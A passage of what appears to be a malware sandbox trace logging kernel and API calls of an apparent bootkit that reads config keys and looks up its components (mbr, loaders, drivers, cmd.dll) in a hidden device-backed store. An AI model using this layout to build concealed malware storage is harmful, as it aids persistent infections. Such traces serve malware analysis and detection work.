FastMutex=0xfffffa80027d3898) [0129.435] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.435] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.435] KeLeaveCriticalRegion () [0129.435] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.435] KeEnterCriticalRegion () [0129.435] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.435] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.435] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.435] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.435] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0129.435] IdePortDispatch () returned 0x103 [0129.435] KeWaitForMutexObject () returned 0x0 [0129.435] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.435] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.435] KeLeaveCriticalRegion () [0129.435] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.435] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.435] KeEnterCriticalRegion () [0129.435] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.435] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000bf0000 [0129.435] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.435] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.435] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.435] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.435] IdePortDispatch () returned 0x103 [0129.435] KeWaitForMutexObject () returned 0x0 [0129.436] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.436] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.436] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.436] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.436] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.436] IdePortDispatch () returned 0x103 [0129.436] KeWaitForMutexObject () returned 0x0 [0129.436] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.436] KeLeaveCriticalRegion () [0129.436] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.436] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.436] KeEnterCriticalRegion () [0129.437] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.437] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.437] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.437] KeLeaveCriticalRegion () [0129.437] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.437] KeEnterCriticalRegion () [0129.437] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.437] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0129.437] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c05070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.437] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.437] KeLeaveCriticalRegion () [0129.437] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.437] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.437] KeEnterCriticalRegion () [0129.437] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.437] ExFreePoolWithTag (P=0xfffffa8003c04010, Tag=0x0) [0129.437] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.437] KeLeaveCriticalRegion () [0129.437] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.437] ReleaseMutex (hMutex=0xf0) returned 1 [0129.437] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.437] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0129.437] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.437] KeEnterCriticalRegion () [0129.437] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.437] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.437] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.437] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.437] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.437] IdePortDispatch () returned 0x103 [0129.437] KeWaitForMutexObject () returned 0x0 [0129.437] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.437] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.438] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.438] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.438] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.438] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c05b10 [0129.438] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.438] KeLeaveCriticalRegion () [0129.438] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.438] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.438] KeEnterCriticalRegion () [0129.438] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.438] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.438] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.438] KeLeaveCriticalRegion () [0129.438] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.438] KeEnterCriticalRegion () [0129.438] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.438] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.438] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.438] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.438] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0129.438] IdePortDispatch () returned 0x103 [0129.438] KeWaitForMutexObject () returned 0x0 [0129.438] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.438] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.438] KeLeaveCriticalRegion () [0129.438] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.438] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.438] KeEnterCriticalRegion () [0129.438] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.438] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000bf1000 [0129.438] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.438] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.439] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.439] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.439] IdePortDispatch () returned 0x103 [0129.439] KeWaitForMutexObject () returned 0x0 [0129.439] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.439] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.439] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.439] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.439] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.439] IdePortDispatch () returned 0x103 [0129.439] KeWaitForMutexObject () returned 0x0 [0129.439] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.439] KeLeaveCriticalRegion () [0129.439] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.440] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.440] KeEnterCriticalRegion () [0129.440] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.440] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.440] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.440] KeLeaveCriticalRegion () [0129.440] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.440] KeEnterCriticalRegion () [0129.440] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.440] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0129.440] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c05bd0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.440] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.440] KeLeaveCriticalRegion () [0129.440] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.440] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.440] KeEnterCriticalRegion () [0129.440] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.440] ExFreePoolWithTag (P=0xfffffa8003c05b10, Tag=0x0) [0129.440] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.440] KeLeaveCriticalRegion () [0129.440] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.440] ReleaseMutex (hMutex=0xf0) returned 1 [0129.440] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.440] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0129.440] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.440] KeEnterCriticalRegion () [0129.440] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.440] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.440] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.440] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.440] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.440] IdePortDispatch () returned 0x103 [0129.440] KeWaitForMutexObject () returned 0x0 [0129.441] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.441] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.441] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.441] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.441] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.441] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c04130 [0129.441] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.441] KeLeaveCriticalRegion () [0129.441] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.441] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.441] KeEnterCriticalRegion () [0129.441] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.441] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.441] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.441] KeLeaveCriticalRegion () [0129.441] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.441] KeEnterCriticalRegion () [0129.441] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.441] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.441] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.441] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.441] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0129.441] IdePortDispatch () returned 0x103 [0129.441] KeWaitForMutexObject () returned 0x0 [0129.441] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.441] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.441] KeLeaveCriticalRegion () [0129.441] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.442] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.442] KeEnterCriticalRegion () [0129.442] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.442] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000bf2000 [0129.442] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.442] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.442] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.442] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.442] IdePortDispatch () returned 0x103 [0129.442] KeWaitForMutexObject () returned 0x0 [0129.442] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.442] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.442] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.442] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.442] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.442] IdePortDispatch () returned 0x103 [0129.442] KeWaitForMutexObject () returned 0x0 [0129.442] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.442] KeLeaveCriticalRegion () [0129.442] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.443] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.443] KeEnterCriticalRegion () [0129.443] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.443] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.443] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.443] KeLeaveCriticalRegion () [0129.443] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.443] KeEnterCriticalRegion () [0129.443] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.443] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0129.443] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c04350, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.443] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.443] KeLeaveCriticalRegion () [0129.443] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.443] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.443] KeEnterCriticalRegion () [0129.443] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.443] ExFreePoolWithTag (P=0xfffffa8003c04130, Tag=0x0) [0129.443] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.443] KeLeaveCriticalRegion () [0129.443] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.444] ReleaseMutex (hMutex=0xf0) returned 1 [0129.444] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0129.444] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0129.444] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0129.444] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0129.444] KeEnterCriticalRegion () [0129.444] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.444] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.444] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.444] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.444] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.444] IdePortDispatch () returned 0x103 [0129.444] KeWaitForMutexObject () returned 0x0 [0129.444] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.444] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0129.444] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.444] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.444] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.444] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0129.444] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0129.444] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.444] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.444] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0129.444] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.444] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.444] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.444] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.444] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.444] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.444] KeLeaveCriticalRegion () [0129.444] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.445] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0129.445] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0129.445] KeEnterCriticalRegion () [0129.445] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.445] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.445] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.445] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.445] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.445] IdePortDispatch () returned 0x103 [0129.445] KeWaitForMutexObject () returned 0x0 [0129.445] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.445] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0129.445] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.445] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.445] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.445] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0129.445] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0129.445] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.445] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.445] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0129.445] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.445] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.445] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 